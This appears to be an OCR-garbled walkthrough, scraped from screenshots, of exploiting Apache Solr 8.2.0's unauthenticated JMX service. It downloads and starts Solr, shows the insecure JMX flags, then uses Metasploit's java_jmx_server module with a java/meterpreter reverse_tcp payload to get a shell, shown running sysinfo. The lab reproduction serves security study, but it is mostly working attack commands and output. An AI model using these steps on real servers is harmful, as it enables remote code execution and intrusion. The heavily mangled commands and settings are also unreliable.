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2%t Apache Solr 8.20:
wget
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/so

1r-8.2.0.zip
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unzip solr-8.2.0.zip
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./solr start -force
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8.2.0/bin# 1s
. oom_solr.sh solr
install_solr_service.sh post
olr-8.2.0/bin# . /sol:
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1 Versions
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e ¥ solr-spec  8.2.0
3 Core Admin solr-impl 8.2.0 31d7ec7bbfdcd2c4cc61d9d35e962165410b65Fe - ivera - 2019-07-1¢
% Java Properties # lucene-spec  8.2.0

Thread Dump ucene-impl  8.2.0 31d7ec7bbfded2c4co61d9d35e962165410b65fe - ivera -

No cores available
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-DSTOP.KEY=s0lrrocks
-DSTOP.PORT=7283

-Deom.sun.management. jmxremote

-Dcom.sun.managemen e.authenticate=false

Dcom.sun.managemen mote.local .
-Dcom.sun.management.jmxremote.port= 18!
Dcom.sun.management.jmxremote.rmi.port=18983
Deom.sun.mananement. imxremaote.ssl=false
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solr.cmd solr.in.sh
solr.in.cnd

B System 1.812.78 1.84

Physical Memory 95.3%

Swap Space 5.0%

S MB

File Descriptor Count  3.7%

== JVM-Memory 9.1%
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use exploit/multi/misc/java_jmx_server
set RHOST 127.0.0.1

set RPORT 18983

root@kali: ~ e ® 0
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# msfconsole

Call trans opt: recetved. 2-19-98 13:24:18 REC:Loc

Trace program: running

wake up, Neo...
the matrix has you
follow the white rabbit.




Module

Name

®Epayload java/meterpreter/reverse_tcp
set payload java/meterpreter/reverse_tcp
set LHOST 127.0.0.1

set LPORT 4444




y setting LHOST to 127.0.0.1. Did you want Reverselist

RMI endpoint...

iI endpoint on 127.0.1.1:1

- Replied to request for mlet
- Replied to request for payload JAR




ter > sysinfo
: kali
: Linux 4.17.0-kalil-amd6d (amdod)
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resources

scripts
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The end
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